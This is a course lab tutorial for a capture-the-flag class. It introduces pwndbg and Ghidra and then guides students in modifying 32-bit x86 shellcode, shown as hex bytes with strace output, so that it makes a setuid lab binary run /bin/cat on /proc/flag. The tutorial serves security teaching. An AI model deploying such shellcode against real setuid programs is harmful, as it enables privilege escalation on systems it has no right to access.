Tut02: Pwndbg, Ghidra, Shellcode

In this tutorial, we will learn how to write "shellcode" (a payload to get a flag) in assembly. Before we start, let's arm ourselves with two new tools, one for better dynamic analysis (pwndbg) and another for better static analysis (Ghidra).

Pwndbg: modernizing GDB for writing exploits

For local installation, please refer to https://github.com/pwndbg/pwndbg. We've already prepared pwndbg for you on our CTF server:

# log into the CTF server
# ** check Canvas for login information! **
[host] $ ssh lab02@<ctf-server-address>

# launch pwndbg with 'gdb-pwndbg'
[CTF server] $ gdb-pwndbg
[CTF server] pwndbg: loaded 175 commands. Type pwndbg [filter] for a list.
[CTF server] pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
[CTF server] pwndbg>

Basic usage

Let's test pwndbg with a tutorial binary, tut02-shellcode/target.

Running Pwndbg

To learn about new features pwndbg adds to GDB, please check here.

We'll introduce a few more of pwndbg's features in later labs, but here's a list of useful commands you can try if you're feeling adventurous:

aslrInspect or modify ASLR status.
checksecPrint out the binary security settings using checksec.
elfheaderPrint the section mappings contained in the ELF header.
hexdumpHex-dump data at the specified address (or at $sp).
mainGDBINIT compatibility alias for main command.
nearpcDisassemble near a specified address.
nextcallBreak at the next call instruction.
nextjmpBreak at the next jump instruction.
nextjumpBreak at the next jump instruction.
nextretBreak at next return-like instruction.
nextscBreak at the next syscall not taking branches.
nextsyscallBreak at the next syscall not taking branches.
pdisassCompatibility layer for PEDA's pdisass command.
procinfoDisplay information about the running process.
regsPrint out all registers.
stackPrint dereferences of stack data.
searchSearch memory for bytes, strings, pointers, or integers.
telescopeRecursively dereference pointers.
vmmapPrint virtual memory map pages.

Ghidra: static analyzer / decompiler

Ghidra is an interactive disassembler (and decompiler) widely used by reverse engineers for statically analyzing binaries. We'll introduce the basic concepts of Ghidra in this tutorial.

Basic usage

Please first install Ghidra on your host machine by following this guide.

Next, fetch crackme0x00 from the CTF server, and launch Ghidra.

# copy crackme0x00 from the server to a local dir
[host] $ scp lab01@<ctf-server-address>:tut01-crackme/crackme0x00 crackme0x00

# run Ghidra (make sure you've installed it first!)
# (on linux /macOS)
[host] $ ./<ghidra_dir>/ghidraRun
# (on windows)
[host] $ ./<ghidra_dir>/ghidraRun.bat

You should now be greeted by the user agreement and project window:

The project manager

Create a new project by choosing "File" -> "New Project". Select "Non-Shared Project", choose a "Project Name" (we'll use "tut01"), and drag your local crackme0x00 into the folder just created. Double-click on the binary to start analyzing it.

Creating a new project

Once the analysis is done, you will be shown Ghidra's multiple subviews of the program. Before we jump into the details, we need to briefly understand what each one is for. Program Trees and Symbol Tree show the loaded segments and symbols of the analyzed binary. Listing: crackme0x00 in the middle shows a view of the binary's assembly code. On the right-hand side, we have the decompiled source code of the main() function.

Ghidra's GUI interface

To examine the binary, click on main under Symbol Tree. This will take you to that symbol's address in the text (i.e., code) segment. You'll also have a synced view of Ghidra's decompiled C code for main, side-by-side.

The assembly vs. decompiled view of the main() function

The decompiled C code is much easier to understand than the assembly code. With it, you can find that the binary gets a password from the user (lines 11-12) and compares it with 250381 (line 13).

From now on, feel free to utilize Ghidra when analyzing challenge binaries from the labs. In addition, its binary patching functionality might come in handy for tackling this week's bomblab!


Let's discuss today's main topic, writing shellcode! "Shellcode" is a generic term referring to a payload for exploitation, often with the goal of launching an interactive shell.

Step 0: Reviewing Makefile and shellcode.S

All of the files in lab02's home directory are read-only. In order to modify them, you'll need to make copies in a writable location. You can make a folder in the the lab server's /tmp (something like /tmp/<x0x0-your-secret-dir>), or copy to your local machine.

Choose a unique /tmp folder name that can't be easily guessed, so nobody else finds your code on the lab server! Here's a command to securely generate a random string, which you can use if you'd like: python3 -c "import secrets; print(secrets.token_urlsafe())"

# copying to /tmp:
[CTF server] $ cp -rf tut02-shellcode /tmp/<x0x0-your-secret-dir>
[CTF server] $ cd /tmp/<x0x0-your-secret-dir>

# copying to local machine:
[host] $ scp -r lab02@<ctf-server-address>:tut02-shellcode/ .
[host] $ cd tut02-shellcode

Note that there's a pre-built 'target' binary in the tutorial folder:

$ ls -al tut02-shellcode
total 44
drwxr-x---  2 nobody          lab02    4096 Aug 26 19:48 .
drwxr-x--- 13 nobody          lab02    4096 Aug 23 13:32 ..
-rw-r--r--  1 nobody          nogroup   535 Aug 23 13:32 Makefile
-rw-r--r--  1 nobody          nogroup 11155 Aug 26 19:48 README
-rw-r--r--  1 nobody          nogroup  1090 Aug 23 13:32 shellcode.S
-r-sr-x---  1 tut02-shellcode lab02    9820 Aug 23 13:32 target
-rw-r--r--  1 nobody          nogroup   482 Aug 23 13:32 target.c

Does it look different from the other files in terms of permissions (especially the "s" in the permissions bits)? This is a "setuid" file, a special type of file that, when invoked, obtains the privileges of the owner of the file rather than of the user that invoked it -- in this case, the owner being "tut02-shellcode". In every lab, you can play with modified copies of the challenge binaries all you want, but this permissions configuration means you can only ever get valid flags from the original (read-only) binaries.

Your task is to get the flag from the target binary by modifying the provided shellcode to invoke /bin/cat. Before going further, please take a look at these two important files.

$ cat Makefile
$ cat shellcode.S

Step 1: Reading the flag with /bin/cat

We will modify the shellcode to invoke /bin/cat, and use it to read the flag as follows:

$ cat /proc/flag

[Task] Please modify the below lines in shellcode.S:

#define STRING  "/bin/sh"
#define STRLEN  7


$ make test
bash -c '(cat shellcode.bin; echo; cat) | ./target'
> length: 46
> 0000: EB 1F 5E 89 76 09 31 C0 88 46 08 89 46 0D B0 0B
> 0010: 89 F3 8D 4E 09 8D 56 0D CD 80 31 DB 89 D8 40 CD
> 0020: 80 E8 DC FF FF FF 2F 62 69 6E 2F 63 61 74

Type hello. Do you see hello echo-ed?

Let's also try using strace to trace system calls.

$ (cat shellcode.bin; echo; cat) | strace ./target
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff77b5000
write(1, "> length: 46\n", 13> length: 46
)          = 13
write(1, "> 0000: EB 1F 5E 89 76 09 31 C0 "..., 57> 0000: EB 1F 5E 89 76 09 31 C0 88 46 08 89 46 0D B0 0B
) = 57
write(1, "> 0010: 89 F3 8D 4E 09 8D 56 0D "..., 57> 0010: 89 F3 8D 4E 09 8D 56 0D CD 80 31 DB 89 D8 40 CD
) = 57
write(1, "> 0020: 80 E8 DC FF FF FF 2F 62 "..., 51> 0020: 80 E8 DC FF FF FF 2F 62 69 6E 2F 63 61 74
) = 51
execve("/bin/cat", ["/bin/cat"], [/* 0 vars */]) = 0
[ Process PID=4565 runs in 64 bit mode. ]

Do you see execve("/bin/cat"...)? You can also specify "-e" to limit the output to just the system calls you're interested in (in this case, execve):

$ (cat shellcode.bin; echo; cat) | strace -e execve ./target
execve("./target", ["./target"], [/* 20 vars */]) = 0
[ Process PID=4581 runs in 32 bit mode. ]
> length: 46
> 0000: EB 1F 5E 89 76 09 31 C0 88 46 08 89 46 0D B0 0B
> 0010: 89 F3 8D 4E 09 8D 56 0D CD 80 31 DB 89 D8 40 CD
> 0020: 80 E8 DC FF FF FF 2F 62 69 6E 2F 63 61 74
execve("/bin/cat", ["/bin/cat"], [/* 0 vars */]) = 0
[ Process PID=4581 runs in 64 bit mode. ]

If you're not familiar with execve(), please read man execve. You can also read man strace for more on strace.

Step 2: Providing /proc/flag as an argument

Let's modify the shellcode to provide an argument to /bin/cat (i.e., /proc/flag). Your current payload looks like this:

 v            |
[/bin/cat][0][ptr ][NULL]
              ^     ^
              |     +-- envp
              +-- argv

Note: The shellcode can't include any null (0) bytes, because the binary treats the shellcode input as a string, and a null byte would terminate it. Instead, the null byte is written at runtime by:

mov    [STRLEN + esi],al      /* null-terminate our string */

Our plan is to make the payload as follows:

 |            +--------------=-----+
 v            v              |     |
                             ^           ^
                             |           +-- envp
                             +-- argv
  1. Modify /bin/cat to /bin/catN/proc/flag:

    #define STRING  "/bin/catN/proc/flag"
    #define STRLEN1 8
    #define STRLEN2 19

    "N" is a placeholder character for a null byte we will overwrite.

    How can you update STRLEN like this? Fix the compilation errors!

  2. Place a null byte after /bin/cat and /proc/flag:

    This part of the assembly code adds a null terminator after the string:

    mov    [STRLEN + esi],al      /* null-terminate our string */

    Can you add some additional code to place another null terminator in the middle of the string, overwriting the "N"?

    Then try:

    $ make test
    execve("/bin/cat", ["/bin/cat"], [/* 0 vars */])

    Does it execute /bin/cat?

  3. Modify argv[1] to point to /proc/flag!

    This part of the assembly code puts a pointer to "/bin/cat" in ARGV+0:

    mov    [ARGV+esi],esi         /* set up argv[0] pointer to pathname */

    Can you add some additional code to place the address of "/proc/flag" in ARGV+4?

    Then try:

    $ make test
    execve("/bin/cat", ["/bin/cat", "/proc/flag"], [/* 0 vars */]) = 0

    Does it execute /bin/cat with /proc/flag?

Tips: When using gdb-pwndbg to debug shellcode...

$ gdb-pwndbg ./target

You can break right before executing your shellcode:

pwndbg> br target.c:24

You can run and inject shellcode.bin to its stdin:

pwndbg> run < shellcode.bin

You can also check if your shellcode is placed correctly:

pwndbg> pdisas &buf

[Task] Once you're done, run the command below and get the true flag to submit!

$ cat shellcode.bin | /home/lab02/tut02-shellcode/target

Great, you're now ready to write x86 shellcode! This week, we'll be writing various kinds of shellcode (e.g., targeting x86, x86-64, or both!), and also with various properties (e.g., ascii-only or with size constraints!). Have fun!